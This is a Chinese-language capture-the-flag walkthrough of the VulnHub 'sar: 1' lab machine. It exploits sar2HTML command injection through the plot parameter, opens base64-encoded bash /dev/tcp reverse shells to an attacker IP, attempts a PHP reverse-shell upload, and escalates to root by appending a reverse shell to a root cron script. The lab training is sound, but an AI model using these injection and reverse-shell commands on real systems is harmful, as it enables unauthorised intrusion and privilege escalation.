vulnhub:Sar

一、前言

OSCP-2:

这次练习的靶机是vulnhub平台下的sar，该靶机是一个类似oscp的虚拟机，目的是提高并巩固渗透测试的知识点。

主要利用方式：sar2HTML命令执行反弹shell（可php文件上传反弹shell）+定时脚本提权

二、靶机信息

靶场: vulnhub.com

靶机名称: sar: 1

难度: 简单

发布时间: 2020年2月15日

下载地址：https://www.vulnhub.com/entry/sar-1,425/

备注：本次靶机，无论是在第一层获取低权限的过程中还是提root权限，方法都很多。

 如：可以通过sar2HTML RCE 命令执行（get即可），也可以通过文件上传php  拿 webshell

       提权时候，可以通过之前上传的webshell 指向 定时任务，或者用nc反弹shell 等等

三、虚拟机配置

        这次采用的网络连接模式依然是NAT模式，为了避免扫描到其他物理主机。在导入虚拟机后，右击sar靶机，然后选中配置。依次点击网络配置->NAT模式->高级->生成，然后确认即可。

四、收集信息及第一阶段的攻击

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

2、nmap探测目标IP的开放端口

└─$ sudo nmap -p- 192.168.169.141

3、nmap探测80端口的开放服务及服务信息

└─$ sudo nmap -p80 -sV -A 192.168.169.141

-A 代表综合性扫描，能收集很多重要的信息

-sV 代表扫描主要的服务信息

-p- 参数p是指定端口，后面的-代表所有端口。

4、发现只开放的80端口，看来突破口只能从web上找了。用浏览器打开该网站。

5、路径搜索，发现无dirsearch方法，机器自动安装也失败，包地址未查询到

└─$ dirsearch -u 192.168.169.141  

6、替换引用源即可

kali Unable to locate package - 流沙团

Kali Linux E:Unable to locate package 完美解决！ - 灰信网（软件开发博客聚合）

7、正常执行dirsearch 命令，探测敏感路径

└─$ dirsearch -u 192.168.169.141

8、按照惯例，查询phpinfo.php 、robots.txt等敏感目录

http://192.168.169.141/phpinfo.php

9、查询robots.txt

10、查询sar2HTML页面，常规web项目

http://192.168.169.141/sar2HTML/

http://192.168.169.141/sar2HTML/

11、 kali 搜索一下目前存在已知的sar2html漏洞，发现存在RCE漏洞

└─$ searchsploit sar2html

12、将sar2html利用的脚本拷贝至本地。

└─$ searchsploit -m php/webapps/49344.py

13、查看利用方式，可以发现利用的地方在于plot的入参处。

└─$ cat 49344.py

14、首选查看passwd相关信息

http://192.168.169.142/index.php?plot=;cat /etc/passwd

15、文件上传，尝试上传jpg及 php文件，平台无任何过滤措施

16、在github中的源代码里面查询到上传的地址，

17、编辑一个php反弹shell的木马

（github等直接可以下载，GitHub - pentestmonkey/php-reverse-shell)

注意：要将ip改成kali的ip，端口port随便设置一个。

18、设置监听端口

└─$ nc -lnvp 7777

19.访问木马，反弹shell

这里的文件上传没有任何过滤，并且这个GitHub地址上给出了默认路径，尝试默认路径可以直接知道上传shell的路径

20、以上是通过php上传反弹shell的方式，但不知道因为啥原因，本次没有反弹成功，但时候查询别人的writeup发现是有反弹成功的。

21、通过返回RCE脚本测试，靶机对于 -e的入参，反弹没有成功，可能是靶机的nc禁用了-e参数

         经过测试，可以通过base64编码RCE命令即可正常反弹shell。

└─$ echo "bash -i &>/dev/tcp/192.168.169.129/8888 <&1" | base64

得到base64加密后的数据：YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=

22、再组合成下面的payload，也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=进行base64解码之后再执行

echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo= | base64 -d | bash

23、攻击机上nc监听8888端口，然后浏览器访问

http://192.168.169.142/sar2HTML/index.php?plot=;echo%20YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=%20|%20base64%20-d%20|%20bash

24、cd 到最高权限var目录， 查询var目录下低权限的靶机 flag。

find /home -iname "*.txt"|grep -v 'proc\|sys'

www-data@sar:/var$ find /home -iname "*.txt"|grep -v 'proc\|sys'

find /home -iname "*.txt"|grep -v 'proc\|sys'

find: '/home/love/.local': Permission denied

find: '/home/love/.cache': Permission denied

find: '/home/love/.gnupg': Permission denied

find: '/home/love/.gvfs': Permission denied

find: '/home/love/.dbus': Permission denied

find: '/home/love/.ssh': Permission denied

find: '/home/love/.config': Permission denied

/home/love/Desktop/user.txt

www-data@sar:/var$ cat /home/love/Desktop/user.txt

cat /home/love/Desktop/user.txt

427a7e47deb4a8649c7cab38df232b52

www-data@sar:/var$

五、提权

25、拿到shell后首先尝试了suid提权，内核提权，但是没有成功！目录里面也没有发现特殊文件，然后到网站的根目录下寻找特殊文件。

cd /var/www/html

ls -la

26、发现了两个特殊文件 ：finally.sh这个文件属于root，write.sh这个文件具有777权限。查看一下这两个文件里面的内容。

cat finally.sh

cat write.sh

27、发现finally.sh里的内容就是执行write.sh文件，而write.sh文件的作用就是创建一个文件 /tmp/gateway。

      由此想到了计划任务提权，查看一下 定时任务的配置文件/etc/crontab。

28、定时计划配置不当，系统会每五分钟就以root权限执行finally.sh.最终的结果就是创建一个文件。

       如果利用这个定时器将反弹shell的代码写入write.sh中，进行执行，即可提权。

29、 将反弹shell命令写入/var/www/html/write.sh，并查看是否写入成功

          $ echo "bash -c 'exec bash -i &>/dev/tcp/192.168.169.129/6666 <&1'" >> write.sh

• 在这个地方有一个坑，就是在反弹shell的控制台中，如果用vi指令，在输入 反弹shell命令后，没有办法正常执行：wq！ 命令，并且按 ctrl +c == 退出shell模式，
• 这个时候，需要升级shell控制端，python -c "import pty;pty.spawn('/bin/bash')"

30、攻击机上nc监听6666端口

nc -nlvp 6666

31、等待片刻之后，root权限的反弹shell 正式上线，熟练的查看ID以及root.txt

       获取root权限下的flag

         cat /root/root.txt

         66f93d6b2ca96c9ad78a8a9ba0008e99

32、再查询一下拿到权限后的ip ，证明拿到了最终靶机的root权限

可发现本机IP为：192.168.169.142。根据前期查询的攻击机IP为：192.168.169.129